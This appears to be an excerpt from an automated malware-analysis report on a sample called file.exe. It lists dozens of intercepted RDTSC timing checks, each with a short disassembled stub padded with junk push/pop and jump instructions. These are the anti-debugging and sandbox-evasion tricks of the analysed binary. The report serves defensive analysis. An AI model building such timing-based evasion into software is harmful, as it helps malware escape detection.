Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A4318 second address: 5A431D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A43D2 second address: 5A43D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A4ADB second address: 5A4AF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007FB438C61F2Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A4AF3 second address: 5A4B16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4390A66BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jc 00007FB4390A66C8h 0x00000011 push eax 0x00000012 push edx 0x00000013 jbe 00007FB4390A66B6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A4B16 second address: 5A4B1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58EB0D second address: 58EB1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jnc 00007FB4390A66B6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58EB1A second address: 58EB24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FB438C61F26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58EB24 second address: 58EB28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58EB28 second address: 58EB33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5659E8 second address: 5659EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5659EE second address: 5659F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DF2E0 second address: 5DF2EA instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB4390A66B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DF2EA second address: 5DF2F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DF2F3 second address: 5DF315 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FB4390A66B6h 0x0000000a popad 0x0000000b jmp 00007FB4390A66BBh 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jc 00007FB4390A66B6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DF315 second address: 5DF319 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DF319 second address: 5DF325 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FB4390A66B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DF5AD second address: 5DF5B3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DF6E9 second address: 5DF6ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DF867 second address: 5DF86D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DF86D second address: 5DF871 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DF9C2 second address: 5DF9DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jbe 00007FB438C61F26h 0x0000000c jp 00007FB438C61F26h 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 jnp 00007FB438C61F26h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DF9DF second address: 5DF9E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DF9E5 second address: 5DF9EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DFB53 second address: 5DFB57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DFB57 second address: 5DFB63 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DFB63 second address: 5DFB6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FB4390A66B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E4DFD second address: 5E4E07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E4E07 second address: 5E4E13 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB4390A66B6h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E50BA second address: 5E50BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E50BE second address: 5E50CD instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB4390A66B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E53C2 second address: 5E53C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E53C7 second address: 5E53E1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 jmp 00007FB4390A66C1h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E569A second address: 5E56A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E56A0 second address: 5E56E3 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB4390A66B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FB4390A66C5h 0x0000000f jmp 00007FB4390A66C9h 0x00000014 pushad 0x00000015 jp 00007FB4390A66B6h 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5BCC second address: 5E5BF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB438C61F2Ch 0x00000009 jmp 00007FB438C61F2Ah 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pushad 0x00000012 jmp 00007FB438C61F2Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5BF8 second address: 5E5C09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FB4390A66B6h 0x0000000a jng 00007FB4390A66B6h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5C09 second address: 5E5C0E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5C0E second address: 5E5C14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5C14 second address: 5E5C21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a push eax 0x0000000b pop eax 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5C21 second address: 5E5C36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FB4390A66B6h 0x0000000a jmp 00007FB4390A66BBh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E9482 second address: 5E9493 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB438C61F2Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E9493 second address: 5E9499 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E9499 second address: 5E94A4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnl 00007FB438C61F26h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC2CA second address: 5EC2D0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC2D0 second address: 5EC2E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB438C61F2Ah 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D5D4 second address: 55D5F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jc 00007FB4390A66B6h 0x0000000f jmp 00007FB4390A66BCh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EBC20 second address: 5EBC28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EBC28 second address: 5EBC2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EE234 second address: 5EE23E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F6445 second address: 5F6452 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 js 00007FB4390A66BCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F4E96 second address: 5F4E9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F4FE6 second address: 5F4FF8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 jl 00007FB4390A66B6h 0x0000000b pop esi 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F5431 second address: 5F5446 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB438C61F2Ch 0x00000008 jl 00007FB438C61F26h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F5446 second address: 5F544C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F544C second address: 5F5450 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A46CC second address: 5A46D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A46D0 second address: 5A46D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F5602 second address: 5F561A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4390A66BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F561A second address: 5F561E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F561E second address: 5F5622 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F6111 second address: 5F611E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F611E second address: 5F6122 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F6122 second address: 5F612D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F612D second address: 5F6133 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F6133 second address: 5F613A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F613A second address: 5F615B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB4390A66CCh 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F8B02 second address: 5F8B08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F8DDD second address: 5F8E1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FB4390A66B6h 0x0000000a jno 00007FB4390A66B6h 0x00000010 jmp 00007FB4390A66C9h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a jmp 00007FB4390A66C4h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FD226 second address: 5FD23A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB438C61F30h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FCC54 second address: 5FCC69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 jmp 00007FB4390A66BEh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FCC69 second address: 5FCC81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jnc 00007FB438C61F2Ah 0x0000000b pushad 0x0000000c jne 00007FB438C61F26h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 604A4B second address: 604A58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FB4390A66B6h 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 604A58 second address: 604A7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FB438C61F26h 0x0000000a pop eax 0x0000000b jmp 00007FB438C61F33h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 604D34 second address: 604D38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 604D38 second address: 604D44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 604D44 second address: 604D48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 608EFD second address: 608F17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jmp 00007FB438C61F2Fh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 608F17 second address: 608F23 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 608F23 second address: 608F3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB438C61F33h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6096FB second address: 609708 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007FB4390A66C2h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60982C second address: 60986A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FB438C61F32h 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007FB438C61F2Eh 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 jmp 00007FB438C61F33h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E45B second address: 60E461 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E461 second address: 60E467 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E467 second address: 60E482 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FB4390A66BEh 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E482 second address: 60E488 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E488 second address: 60E48C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 616B89 second address: 616B8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 616B8F second address: 616B95 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 616B95 second address: 616BA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007FB438C61F26h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 616BA5 second address: 616BA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 614CFB second address: 614CFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 615132 second address: 615138 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 615138 second address: 61513E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61513E second address: 615144 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 615280 second address: 615284 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 615400 second address: 615443 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FB4390A66BEh 0x00000008 jmp 00007FB4390A66BDh 0x0000000d pop edx 0x0000000e jns 00007FB4390A66C3h 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push esi 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FB4390A66BCh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61582D second address: 61583C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 ja 00007FB438C61F26h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61583C second address: 615842 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 615842 second address: 61585F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB438C61F30h 0x00000009 popad 0x0000000a jng 00007FB438C61F2Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61585F second address: 615895 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 jmp 00007FB4390A66C1h 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FB4390A66C6h 0x00000013 popad 0x00000014 pushad 0x00000015 push esi 0x00000016 pop esi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 615895 second address: 61589B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
